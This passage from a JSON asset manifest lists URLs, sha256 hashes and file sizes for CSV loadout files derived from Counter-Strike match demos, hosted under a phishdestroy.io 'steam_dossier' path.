          "sha256": "69c580236dc4d59414d8ec93366c63e2e16b87624b182fe8359ad21ab6e876e2",
          "bytes": 14000
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m2-ancient.dem.loadout.csv",
          "sha256": "377d3daf779e7004e6899eca43ec2f025c9dceceacec1acc12632fcc5c3ca9cc",
          "bytes": 12519
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m3-mirage.dem.loadout.csv",
          "sha256": "6caa1614222ecdebe0ca0166cc3e9691a5a234d3682279fdee08c90ac7e71acb",
          "bytes": 13393
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m1-overpass.dem.loadout.csv",
          "sha256": "5a0853ff90dbef6ac33fa0e9dc65830c38493d18e86d0f5cd3bfbd0743afce07",
          "bytes": 13214
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m2-inferno.dem.loadout.csv",
          "sha256": "ea7521aecd8333d9692ebfaafc1e3e60f44c405c896f17a86eea809acf2796d0",
          "bytes": 14604
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m3-ancient.dem.loadout.csv",
          "sha256": "e7708e5f573a6950d22bf6fdfe2fbe89bec47ef8c5458e4cce87fd93d747dd0e",
          "bytes": 12269
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m1-nuke.dem.loadout.csv",
          "sha256": "f5db0b310340e4dfb0906026b748caf1292cd6bc36b60accdc22fb5be273e5d5",
          "bytes": 12472
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m2-anubis.dem.loadout.csv",
          "sha256": "cf4fc53edced7df4fd81cf5f4c67deac64dd6084f7c1fb1dbf227f83ed6cbc9b",
          "bytes": 11204
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m3-mirage.dem.loadout.csv",
          "sha256": "4ab464612f15714fd52be8dccd620f4ca5a20651f67de43e2f71f234fc9017a6",
          "bytes": 12074
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m1-overpass.dem.loadout.csv",
          "sha256": "1216d6b261dc3093335a3f8d70e3d8dc404f7f9b9d1127817dae42eaa5d4f38a",
          "bytes": 11004
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m2-vertigo.dem.loadout.csv",
          "sha256": "a9e04ae5bf8319b934a628e59a807123e67e21c2ab69e864ad41bd296f3f543a",
          "bytes": 12473
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m3-inferno.dem.loadout.csv",
          "sha256": "76936f39330642303651f693fc452fa7df6dc6843237cd3a9b73be888f745436",
          "bytes": 12382
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m1-inferno.dem.loadout.csv",
          "sha256": "ccb5371972994df37d6d527c3d984e8c281a7ad080e7f61b57568c0c76770ceb",
          "bytes": 12374
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m2-vertigo.dem.loadout.csv",
          "sha256": "becfbf97a80a9f2767cc373de2d812d5e28f3bc6aecb315f557ef05ff889b36c",
          "bytes": 11642
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m3-anubis.dem.loadout.csv",
          "sha256": "63793dfb981785d184472eee81d263bc5d670a3e1d4dbfad0abff5032a789ef3",
          "bytes": 13508
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m1-inferno.dem.loadout.csv",
          "sha256": "367a8ed40980040fbf8a708eca90e1eba2cd75e30298bf5afea3edf923ed37aa",
          "bytes": 14833
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m2-vertigo.dem.loadout.csv",
          "sha256": "808a8b39acdb9a35f0e7bed34b9a5c01d09d04e8d67db69de872048df4a417e2",
          "bytes": 11565
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m3-anubis.dem.loadout.csv",
          "sha256": "5385d4d1befb6dc8dd2a676330c38d4ff904005ac5f412119bf5281ba6167e90",
          "bytes": 12313
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86066_heroic-vs-pain-m1-nuke.dem.loadout.csv",
          "sha256": "51d8b226c0f1ae296cf4ff0de25cab264b62253d541f5b1009d354c9d6600c8b",
          "bytes": 12615
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86066_heroic-vs-pain-m2-mirage.dem.loadout.csv",
          "sha256": "cf58c5887d71254cf35240a7fb42dbf87fdb3fc6bb878401a524324567711e8f",
          "bytes": 11895
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m1-mirage.dem.loadout.csv",
          "sha256": "701bface7f54d897e1184ae46d5b9f4c9d9e497a0547ccbbfa7bb587c5eea8ef",
          "bytes": 13959
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m2-ancient.dem.loadout.csv",
          "sha256": "d2a21d5b477b3685168811f599e6ed9b2f1552d778e482d8e5305dae3db5c169",
          "bytes": 11405
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m3-overpass.dem.loadout.csv",
          "sha256": "7bdfef996c1b4bc24ac1f8e84ea7ac32c49999cf10213b34372d5ecd2f7c2972",
          "bytes": 11036
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86074_complexity-vs-faze-m1-nuke.dem.loadout.csv",
          "sha256": "cb40174a45b06e1c1f22a99bff67fc4371d895b0ada44c94c9502b65e19deae2",
          "bytes": 10529
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86074_complexity-vs-faze-m2-overpass.dem.loadout.csv",
          "sha256": "654b17d1dcb229966161e378348802c39627c2c333b78b887b09258fa5a9df9b",
          "bytes": 11034
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m1-overpass.dem.loadout.csv",
          "sha256": "83ff998ff6c7ca4105d0999813f49e0e422cdf9b650d373627e6e9ba0e246362",
          "bytes": 13772
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m2-inferno.dem.loadout.csv",
          "sha256": "29e922e445163b7b7c7eab054d566df88572ac65c34a82d7d50f09557cc1ebb7",
          "bytes": 15090
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m3-anubis.dem.loadout.csv",
          "sha256": "f0243431b737ce270077f7f898225fbff65326f19a050d9b556d56eac6b98efc",
          "bytes": 12529
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86078_natus-vincere-vs-pain-m1-nuke.dem.loadout.csv",
          "sha256": "65d16b8c2358ec96945d1827e4a776e4dd2a648814dd3eb8c70a7546c5431e67",
          "bytes": 13436
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86078_natus-vincere-vs-pain-m2-mirage.dem.loadout.csv",
          "sha256": "59e3c3a3aeb9ab2ebce45f833df0aa92d41081755bbaec7179271be141dfdb0e",
          "bytes": 13031
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86154_cloud9-vs-vitality-m1-inferno.dem.loadout.csv",
          "sha256": "f9100a3ec5888e0cca813a631f3af7f3b73a06fed80848eb938f89861a4d16b9",
          "bytes": 11795
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86154_cloud9-vs-vitality-m2-anubis.dem.loadout.csv",
          "sha256": "4622cf61dcdbd854ef3bce3c4d1310490de8e50a1f8f6636f6a256d99ca82ed8",
          "bytes": 10222
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m1-mirage.dem.loadout.csv",
          "sha256": "aa5548614657aacbc54a676c4158c26b1e2fba7330262cd4f2742d335da90efa",
          "bytes": 11741
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m2-nuke.dem.loadout.csv",
          "sha256": "8ced28f672ad6ac984446eb92ac61b9c5ad0afba5052566ab2e5997f52dbe416",
          "bytes": 13989
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m3-vertigo.dem.loadout.csv",
          "sha256": "49dfea6db6f19c9f9c06de9c7dc5c2582809b0c430d9706585364e76cbdf9514",
          "bytes": 13750
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86172_eternal-fire-vs-natus-vincere-m1-mirage.dem.loadout.csv",
          "sha256": "7199c9586cd1ba145cba5b15e838e9d4183da6103c82520cebcb0d5cb9f3e5c2",
          "bytes": 12666
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86172_eternal-fire-vs-natus-vincere-m2-inferno.dem.loadout.csv",
          "sha256": "6152f08e8a36981b4b731c923dcbc153a015864e9a85d59c3b793e31ccd293de",
          "bytes": 13967
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86175_mouz-vs-g2-m1-inferno.dem.loadout.csv",
          "sha256": "654cbb5a73b3695bfa1ad63716b03b24d34f3535211781bd75af79ff6d68b97e",
          "bytes": 13025
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86175_mouz-vs-g2-m2-vertigo.dem.loadout.csv",
          "sha256": "931b2de9c80139996f4c74070c02481b0a68fe9deb8e75a8ec61c009fdb4a119",
          "bytes": 11944
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m1-nuke.dem.loadout.csv",
          "sha256": "8eb9a478089124e579584e6734b39ea0cf845e8d08e3d237f1107c028836303e",
          "bytes": 11283
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m2-vertigo.dem.loadout.csv",
          "sha256": "d979b8be1f819f4a5c9fd37e836ce7968ffbdf6685f82cc4f11811492e5f657d",
          "bytes": 10036
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m3-inferno.dem.loadout.csv",
          "sha256": "ee21bfca1d378d23da89a21b7ff287e1dd97cb3e289235016809fc5b559621ed",
          "bytes": 12454
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m1-anubis.dem.loadout.csv",
          "sha256": "333b534ae11eccdbf998fc2ff2776b84d2930cfa1a6f6ce27ef37ec69476ad23",
          "bytes": 15241
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m2-nuke.dem.loadout.csv",
          "sha256": "1fc1e2564e635ca6c341b0a26e04cfce8a94dd6b4d31a0ae87cf4b8b8c08b6ef",
          "bytes": 13142
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m3-ancient.dem.loadout.csv",
          "sha256": "48334e967c66b2d643569c4bc9933b4ce53c778b35a737b28ecf5276971ca64b",
          "bytes": 14040
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m1-ancient.dem.loadout.csv",
          "sha256": "fd13b2b5c09bb4de8e5e903796a2bb0c7cd70e413e2d26c59b6f6cd58e283d37",
          "bytes": 12800
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m2-mirage.dem.loadout.csv",
          "sha256": "2f75056bb76e975a11fe81571c80fbe67bc61532ca4cc77a11a39c9501526edb",
          "bytes": 76
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m3-inferno.dem.loadout.csv",
          "sha256": "b9bf7b9a9d4bdf18646bfce563282b9b22207edd6e2ce097c8c9c4296ca38005",
          "bytes": 10226
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92883_natus-vincere-vs-liquid-nuke.dem.loadout.csv",
          "sha256": "7cb4cd83ca6f39286bacd0187c28eedb4cde2af8c42a49b21789d5effb3446be",
          "bytes": 12747
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92886_spirit-vs-furia-dust2.dem.loadout.csv",
          "sha256": "b69e28e7b8ed416d0224a969191fdbe2b5701b31f048b1579df1b0e04df8fe2f",
          "bytes": 13819
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92887_mouz-vs-pain-nuke.dem.loadout.csv",
          "sha256": "451bff5014b665b18fe1c310183b8ed753c178b951288bf32ffb8ee0ef0a3d30",
          "bytes": 11961
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92894_liquid-vs-gamerlegion-inferno.dem.loadout.csv",
          "sha256": "d1d8eb9a0f372ac24e64985a54c4258b37c940f828a4cf966ccb7a8a0731419d",
          "bytes": 13324
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92895_vitality-vs-furia-mirage.dem.loadout.csv",
          "sha256": "6b90ae80462ed8ff6de78cad396e67af21b4267d8abeeee639d1fa74548728ac",
          "bytes": 13941
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92896_mouz-vs-the-mongolz-mirage.dem.loadout.csv",
          "sha256": "f95380dcb0845e4ccdf31f67e164d867b144a81b528242ff909c73b6ae6eca05",
          "bytes": 13732
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92897_spirit-vs-wildcard-ancient.dem.loadout.csv",
          "sha256": "eacdf694c662235ec0b432f02106fcb086134a05fc48e828ffd7925bf4724263",
          "bytes": 12987
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92918_g2-vs-3dmax-ancient.dem.loadout.csv",
          "sha256": "5b3a2541c32cfbab375e78af28715674319392a26d364537e1b1fa5b0c653ec1",
          "bytes": 12838
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92943_big-vs-faze-m1-inferno.dem.loadout.csv",
          "sha256": "b3b1a71d12695d0090ceb18340815ae04034d15537e925c36ba9e3dd1431cf22",
          "bytes": 11653
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92943_big-vs-faze-m2-mirage.dem.loadout.csv",
          "sha256": "bade116ed242c2520f0b0805db71240d2aa86562472b9f8c03b99817d00ee4c5",
          "bytes": 11098
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m1-mirage.dem.loadout.csv",
          "sha256": "76a79d62752a534d10b243761ce96e496d4d9e0def4b498846c6e40ebf2684cc",
          "bytes": 10985
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m2-nuke.dem.loadout.csv",
          "sha256": "6b318d8af869eb529df09b2799cd9808bac472d5be60a4cee2a59bdd8dbab4ac",
          "bytes": 12932
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m3-anubis.dem.loadout.csv",
          "sha256": "dfd425e4c2dc26813473b2288831dd8f2a4783be43ae3962c92e7e8a0f50146d",
          "bytes": 11396
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m1-vertigo.dem.loadout.csv",
          "sha256": "bcb04106705125862e9e10676dedc4dc6189a74690fa845756c7283f6bd9b693",
          "bytes": 15669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m2-mirage.dem.loadout.csv",
          "sha256": "94591b3df93c84679d2df1b563c46e70f7246fc06f0c420ed1e99f84d6e06dd4",
          "bytes": 13416
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m3-inferno.dem.loadout.csv",
          "sha256": "3c31700d823482c31fec40a2c740b25140bb41684221661ce0931cee234aeb38",
          "bytes": 15663
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m1-ancient.dem.loadout.csv",
          "sha256": "4056ee63bebd63c91b5f6915923e3f0e90d7878721a47d29d7bc7973f9f570d0",
          "bytes": 18143
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m2-mirage.dem.loadout.csv",
          "sha256": "e9ed2fb116024935dbc492a52cdca7aad2316171ea71be4e85f710f133083a69",
          "bytes": 14207
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m3-dust2.dem.loadout.csv",
          "sha256": "34922f2ae7a14f6d3d9fde01e146eeb987bc93b40cbbae589880f609f1470637",
          "bytes": 13210
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92980_mibr-vs-mouz-m1-mirage.dem.loadout.csv",
          "sha256": "b1e1bdb59529396489a59a6acb17a84cb6c778f043e40770bd877ed33c48b5f2",
          "bytes": 12489
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92980_mibr-vs-mouz-m2-nuke.dem.loadout.csv",
          "sha256": "9d6395ea0c76837cfb806c1cd5cadee4ac52498b8b6254bd50fc054b13a1255f",
          "bytes": 12777
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m1-mirage.dem.loadout.csv",
          "sha256": "4e8d60528b217bbacaf64d7fe368760035421081b2ea160cc42fd8b4385f4533",
          "bytes": 11260
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m2-nuke.dem.loadout.csv",
          "sha256": "683257adc1d77153ff88f2acc6e27479ae7f03cadaed2a8940ced092cdb0bcc1",
          "bytes": 12681
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m3-ancient.dem.loadout.csv",
          "sha256": "dc870a9702b3ca63754fb3122a8f5f165382babf537567b0f23f19b7828dbf51",
          "bytes": 15226
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m1-inferno.dem.loadout.csv",
          "sha256": "56189745a4a0d46551b56d1b91328fb7a05360de6abe9dfa268ee6d570db251e",
          "bytes": 12933
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m2-dust2.dem.loadout.csv",
          "sha256": "9cc6d99a3f28d915f7228779db26916b03824cbc87c9edc31115a25805aed4ff",
          "bytes": 12772
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m3-mirage.dem.loadout.csv",
          "sha256": "fae9f0b85f7107552d7f2b9c8ea060f53181d1d7b9ee7bda7d242fe8c9be70eb",
          "bytes": 13342
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93035_the-mongolz-vs-mouz-m1-ancient.dem.loadout.csv",
          "sha256": "9c83d7377cdd935b20ed29feb62a57567fa2eae5f07aa55adb453359fdaf44c8",
          "bytes": 15679
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93035_the-mongolz-vs-mouz-m2-nuke.dem.loadout.csv",
          "sha256": "ee3cd7749befa1eb0069a4573b2a60fa87e4bd54164eccb55585acb1655a1106",
          "bytes": 13780
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93037_spirit-vs-liquid-m1-anubis.dem.loadout.csv",
          "sha256": "ef82cbd7aeac8a8a6324f4c6e272bf5d683a6180419eb257568502ae23cc9117",
          "bytes": 13488
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93037_spirit-vs-liquid-m2-dust2.dem.loadout.csv",
          "sha256": "e6b7f87d6b939b75c99c62dd6766fcf24fc88832e65e5192734774f9fe44b66e",
          "bytes": 14597
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m1-ancient.dem.loadout.csv",
          "sha256": "a02cc705bec2ec70c0c6f06811563559ef826488d08f26ff0825f22e10f05c30",
          "bytes": 12996
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m2-nuke.dem.loadout.csv",
          "sha256": "bcf72381308a4f147b6d51b850167ad42e119607c7a857e9ce4dcc03e8a0dc02",
          "bytes": 12848
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m3-mirage.dem.loadout.csv",
          "sha256": "bb0a0f3c9a31fff6466609053530d04b0c8b1aac28b4529b3f0f6780e080ff6d",
          "bytes": 15264
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m1-nuke.dem.loadout.csv",
          "sha256": "0dc0ff1e5fef4f0035009d69f98376fe023d1a0c98ebf2972d080a5d4b8ff350",
          "bytes": 11864
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m2-mirage.dem.loadout.csv",
          "sha256": "e83c8b978f749cae76d43dc3e7996ac0eca43d56bea4716a0e9c542040ef130b",
          "bytes": 11927
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m3-anubis.dem.loadout.csv",
          "sha256": "859ee774afd751cef49a56d82ee11777b15a21e7949b1594040598fc8afd9df0",
          "bytes": 12231
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m1-nuke.dem.loadout.csv",
          "sha256": "34290957be42fe11f7f5f338f79f974e790b9078f454760ebec5cec5fc8d80bd",
          "bytes": 12691
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m2-ancient.dem.loadout.csv",
          "sha256": "63a260f7c570ae205f22813c41b2be45c1666ef7a46b6bdf589ccf4751a9fa37",
          "bytes": 13040
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m3-mirage.dem.loadout.csv",
          "sha256": "92a3700ec40d4cdfa60aacdd2fdeeac8711bb0975e6724797f9d182b21d0a460",
          "bytes": 12685
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93076_g2-vs-faze-m1-ancient.dem.loadout.csv",
          "sha256": "c0b97a5e920c661e8d0a10cbc54521a6fc0f62a191c17e57a7511a3ec5985b2d",
          "bytes": 11171
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93076_g2-vs-faze-m2-nuke.dem.loadout.csv",
          "sha256": "10fc734e6d9deea6a9d2a38df44f4e8160e129718b15a9148e0da7edcfce459d",
          "bytes": 14111
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m1-nuke.dem.loadout.csv",
          "sha256": "0e1fd9a828bce306e6812752624b7e634772389e0b48f07986f430335d228483",
          "bytes": 13177
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m2-ancient.dem.loadout.csv",
          "sha256": "aa5b3bc9c3118f3843a30c3ecdce60ed8d743833bceaa6c5093dc96b48e14560",
          "bytes": 11768
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m3-dust2.dem.loadout.csv",
          "sha256": "d7245caf8b79fe589bf0157ec67467bd49aa1bd664956e984bbc0ef9b1e14c74",
          "bytes": 14288
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97739_mouz-vs-virtuspro-mirage.dem.loadout.csv",
          "sha256": "bb1221c26514686467c13814b1f9b892dd7ae4ec1b6bbe689b60edda75956a4e",
          "bytes": 13913
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97740_spirit-vs-pain-dust2.dem.loadout.csv",
          "sha256": "8d78b8e84a1b39d0e6b3bd752ad37b160dad8bdc39d5c7107166e224daea0315",
          "bytes": 10743
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97741_g2-vs-3dmax-nuke.dem.loadout.csv",
          "sha256": "8fce9296ac0786e57e9cd85c74a9d5227b65d892488eee331dc4a3bd4d0c349c",
          "bytes": 12397
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97743_aurora-vs-faze-anubis.dem.loadout.csv",
          "sha256": "896cf6ddbfa853af60ffe14091820f8c075a119de3c7a149a58649c9fe78cbe7",
          "bytes": 12301
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97745_the-mongolz-vs-furia-inferno.dem.loadout.csv",
          "sha256": "ba1e15a27ac51f35a650fa00e71f26ccb86ef2d10e42f3264b55829486d99b0f",
          "bytes": 14940
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97748_liquid-vs-lynn-vision-dust2.dem.loadout.csv",
          "sha256": "dcfc72f350b737df74a91265a5fee2e0cfb2bd1768c4a33bc48c9233654afb50",
          "bytes": 12446
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97750_aurora-vs-furia-dust2.dem.loadout.csv",
          "sha256": "9ad74ad6dcae5153f611df45cd487dbd94f4a25ad8fac2cee4479a54a248a982",
          "bytes": 14339
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97751_virtus-pro-vs-legacy-ancient.dem.loadout.csv",
          "sha256": "c37ec694ac1701a99fa1c63667c0d92986fe24d19fc4e396aa7e3ade2e14ea10",
          "bytes": 14148
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97752_3dmax-vs-natus-vincere-inferno.dem.loadout.csv",
          "sha256": "ec4588c1fc65f8bd5afea6ab4d14ae9bb4e17c5f31a5d6b8a68a280cd1017167",
          "bytes": 14300
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97754_mouz-vs-faze-ancient.dem.loadout.csv",
          "sha256": "abb682df8b227d71fac94fe869403debef5bed3570e2d2e7ed4e27905bd2d4b6",
          "bytes": 14680
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97755_vitality-vs-nemiga-dust2.dem.loadout.csv",
          "sha256": "d562a27042da5e846686fc368e489adf8de5a5e0022fb6c63ce6cdc308272310",
          "bytes": 12088
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97757_g2-vs-pain-dust2.dem.loadout.csv",
          "sha256": "1b85664ad4f839491219fc5702cd1cb2a82bed62870c6f85bbe3533cfc3b9726",
          "bytes": 13499
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97769_3dmax-vs-vitality-nuke.dem.loadout.csv",
          "sha256": "19d8a5082bb004937617179d0b9d75ebe09f51fb0dbe17b0c7d92882570fa4cf",
          "bytes": 10439
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97770_legacy-vs-faze-anubis.dem.loadout.csv",
          "sha256": "60c2b081b30329b074db9c66a62881d37192e6439cac4cf9555fc043c33def1d",
          "bytes": 14238
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97772_aurora-vs-g2-inferno.dem.loadout.csv",
          "sha256": "844f2e7e338683f8b5aac6127f5f28b9972ac6d80c984c3481dc95911045725f",
          "bytes": 11694
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97776_spirit-vs-natus-vincere-m1-anubis.dem.loadout.csv",
          "sha256": "b73d26c3b69d0bca7dafc08fa407e40a72843c0f2a3832b399f5be6bb4d99b45",
          "bytes": 14521
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97776_spirit-vs-natus-vincere-m2-train.dem.loadout.csv",
          "sha256": "e6714c8eb24e6563412cec099a035bcd6dd5545fbc61198f9951a79239b10922",
          "bytes": 10417
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m1-ancient.dem.loadout.csv",
          "sha256": "50b4ebf7dd750c299fe44f79735593fc32cd823a04f503f189cd246d1af4860c",
          "bytes": 13740
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m2-anubis.dem.loadout.csv",
          "sha256": "627b04c13f628dee68d0215d7cebbdd5925e0152b0d439c0b386b7a3c8cdd4e3",
          "bytes": 13097
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m3-dust2.dem.loadout.csv",
          "sha256": "eacb7023295701940c4bc0ad4b5788a0cb0d5dd3e431d311bd66b011c93b88f7",
          "bytes": 14399
        },
